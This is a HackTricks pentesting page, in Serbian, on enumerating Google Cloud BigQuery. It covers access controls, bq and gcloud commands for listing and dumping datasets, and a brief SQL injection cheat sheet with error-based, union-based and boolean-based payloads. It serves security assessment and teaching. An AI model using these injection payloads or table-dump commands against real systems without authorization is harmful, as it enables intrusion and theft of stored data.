GCP - Bigquery Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Google Cloud BigQuery je potpuno upravljano, serverless skladište podataka za preduzeća, koje nudi mogućnosti za analizu petabajta podataka, efikasno rukovanje velikim skupovima podataka. Kao Platforma kao Servis (PaaS), pruža korisnicima infrastrukturu i alate za olakšano upravljanje podacima bez potrebe za ručnim nadzorom.

Podržava upite korišćenjem ANSI SQL-a. Glavni objekti su skupovi podataka koji sadrže tabele koje sadrže SQL podatke.

Enkripcija

Podrazumevano se koristi Google-ov upravljani ključ za enkripciju, iako je moguće konfigurisati Ključ za enkripciju upravljan od strane korisnika (CMEK). Moguće je naznačiti ključ za enkripciju po skupu podataka i po tabeli unutar skupa podataka.

Isticanje

Moguće je naznačiti vreme isteka u skupu podataka tako da će svaka nova tabela kreirana u ovom skupu podataka biti automatski obrisana određeni broj dana nakon kreiranja.

Spoljni Izvori

Bigquery je duboko integrisan sa drugim Google uslugama. Moguće je učitati podatke iz kanti, pub/sub, google drajva, RDS baza podataka...

ACL-ovi Skupa Podataka

Kada se kreira skup podataka, ACL-ovi se pridružuju kako bi se omogućio pristup. Podrazumevano se daju Vlasničke privilegije nad korisnikom koji je kreirao skup podataka, a zatim Vlasnik grupi projectOwners (Vlasnici projekta), Pisac grupi projectWriters, i Čitalac grupi projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Kontrola pristupa redovima tabele

Moguće je kontrolisati redove kojima će subjekt imati pristup unutar tabele pomoću politika pristupa redovima. One se definišu unutar tabele korišćenjem DDL. Politika pristupa definiše filter i samo odgovarajući redovi sa tim filterom će biti pristupačni od strane naznačenih subjekata.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kontrola pristupa kolonama

Da biste ograničili pristup podacima na nivou kolone:

  1. Definišite taksonomiju i oznake politike. Kreirajte i upravljajte taksonomijom i oznakama politike za svoje podatke. https://console.cloud.google.com/bigquery/policy-tags

  2. Opciono: Dodelite ulogu Čitača sa finim granulama kataloga podataka jednom ili više principala na jednoj ili više oznaka politike koje ste kreirali.

  3. Dodelite oznake politike vašim BigQuery kolonama. U BigQuery-u, koristite šemu za dodelu oznake politike svakoj koloni za koju želite da ograničite pristup.

  4. Sprovodite kontrolu pristupa na taksonomiji. Sprovođenje kontrole pristupa uzrokuje da se pristupna ograničenja definisana za sve oznake politike u taksonomiji primene.

  5. Upravljajte pristupom na oznake politike. Koristite Upravljanje identitetom i pristupom (IAM) politike da biste ograničili pristup svakoj oznaci politike. Politika je na snazi za svaku kolonu koja pripada oznaci politike.

Kada korisnik pokuša da pristupi podacima kolone tokom upita, BigQuery proverava oznaku politike kolone i njenu politiku da vidi da li je korisnik ovlašćen za pristup podacima.

Kao rezime, da biste ograničili pristup nekim kolonama za određene korisnike, možete dodati oznaku koloni u šemi i ograničiti pristup korisnika oznaci sprovođenjem kontrole pristupa na taksonomiji oznake.

Da biste sproveli kontrolu pristupa na taksonomiji, potrebno je omogućiti uslugu:

gcloud services enable bigquerydatapolicy.googleapis.com

Moguće je videti oznake kolona sa:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Nabrojavanje

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Za dodatne informacije možete pogledati blog post: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ovde će biti dati samo neki detalji.

Komentari:

  • select 1#odavde ne radi

  • select 1/*između ovih ne radi*/ Ali samo početni neće raditi

  • select 1--odavde ne radi

Dobijanje informacija o okruženju kao što su:

  • Trenutni korisnik: select session_user()

  • Id projekta: select @@project_id

Dobijanje skupova podataka, tabela i imena kolona:

  • Ime projekta i skupa podataka:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Ostali skupovi podataka u istom projektu:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Tipovi SQL Injection-a:

  • Baziran na grešci - kasting: select CAST(@@project_id AS INT64)

  • Baziran na grešci - deljenje sa nulom: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Unija bazirana: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Baziran na boolean-u: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencijalno baziran na vremenu - Primer korišćenja javnih skupova podataka: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Dokumentacija:

Eskalacija privilegija i post eksploatacija

pageGCP - BigQuery Privesc

Upornost

pageGCP - BigQuery Persistence

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated